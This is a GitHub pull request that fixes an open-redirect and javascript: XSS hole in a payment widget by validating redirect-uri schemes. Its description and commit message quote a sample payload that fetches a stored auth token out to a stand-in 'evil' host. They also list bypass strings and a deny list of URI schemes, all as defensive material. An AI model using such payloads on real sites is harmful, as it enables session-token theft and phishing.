Skip to content

fix(security): validate redirect-uri scheme to block open redirect & javascript: XSS#1119

Open
TaprootFreak wants to merge 1 commit into
developfrom
fix/redirect-uri-scheme-validation
Open

fix(security): validate redirect-uri scheme to block open redirect & javascript: XSS#1119
TaprootFreak wants to merge 1 commit into
developfrom
fix/redirect-uri-scheme-validation

Conversation

@TaprootFreak

Copy link
Copy Markdown
Collaborator

Problem (High)

Das Widget liest den URL-Parameter redirect-uri, persistiert ihn in localStorage und schreibt ihn beim Schliessen einer Transaktion ungeprüft in window.location (app-handling.context.tsxcloseServices). Daraus folgten zwei real ausnutzbare Angriffe:

  1. Open Redirect / Phishing: ?redirect-uri=https://evil.example leitet das Opfer nach Abschluss von einer vertrauenswürdigen dfx.swiss-URL auf die Angreiferseite (Payment-Link-Flow schliesst sogar automatisch ohne Klick).
  2. Token-Diebstahl: ?redirect-uri=javascript:fetch('//evil/'+localStorage.getItem('dfx.authenticationToken')) wird same-origin ausgeführt → JWT-Exfiltration.

Fix

Neuer Helper isSafeRedirectUri (src/util/utils.ts), Allowlist statt Denylist:

  • https: → erlaubt
  • http: → nur localhost/127.0.0.1 (lokale Entwicklung)
  • Custom Deep-Link-Schemes von Wallet-Apps (myapp://, bitcoin:, lightning:) → erlaubt, sofern wohlgeformtes RFC-3986-Scheme
  • Harte Sperrliste als Defense-in-depth: javascript:, data:, vbscript:, blob:, file:, about:, view-source:, filesystem:, intent:, ws:/wss:, ftp:, tel:/sms:/mailto:, chrome: — diese teilen origin === 'null' mit legitimen Wallet-Deep-Links und lassen sich nicht über die Origin allein unterscheiden.

Angewandt an zwei Stellen: am Intake (URL-Param wird gar nicht erst gespeichert) und am window.location-Sink (deckt auch alte, vor dem Fix vergiftete localStorage-Werte ab). Custom Wallet-Deep-Links bleiben voll funktional. Spiegelt die bestehende https:-Prüfung in kyc.screen.tsx.

Qualitätssicherung

Implementiert + adversarial reviewt (Subagent-Loop): Userinfo-/Subdomain-Bypässe (http://localhost@evil.com, http://127.0.0.1.evil.com), Steuerzeichen-Tricks (java\tscript:) und die Denylist-Lücken des ersten Entwurfs (view-source:, intent://, ws:, ftp:) sind als Tests verankert.

  • eslint sauber
  • isSafeRedirectUri: 44/44, volle Suite 291/291 grün
  • Production-Build erfolgreich

Teil des Security-Backlogs aus dem branch-weiten Review; weitere Findings (Account-Merge-Token, Alchemy-Webhook-Secret-Dump, Yapeal fail-open) folgen separat.

…d javascript: XSS

The redirect-uri URL parameter was written to window.location on
transaction close without any scheme/origin validation, allowing:
- phishing redirects from a trusted dfx.swiss URL to any https target
- JWT exfiltration via redirect-uri=javascript:fetch('//evil/'+
  localStorage.getItem('dfx.authenticationToken')) executed same-origin

Add isSafeRedirectUri: an allowlist (https; http only for localhost;
well-formed RFC 3986 custom deep-link schemes for wallet apps) with a
hard block of browser-executable / resource-exposing / external-handler
schemes as defense-in-depth — these share origin === 'null' with
legitimate wallet deep links (myapp://, bitcoin:) so cannot be told
apart by origin alone. Applied both at intake (URL param) and at the
window.location sink (also covers pre-fix poisoned localStorage values).

Custom wallet deep links stay functional. Mirrors the existing https
validation in kyc.screen.tsx.
@DFXswiss DFXswiss deleted a comment from github-actions Bot Jun 11, 2026
@TaprootFreak TaprootFreak marked this pull request as ready for review June 11, 2026 21:15
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant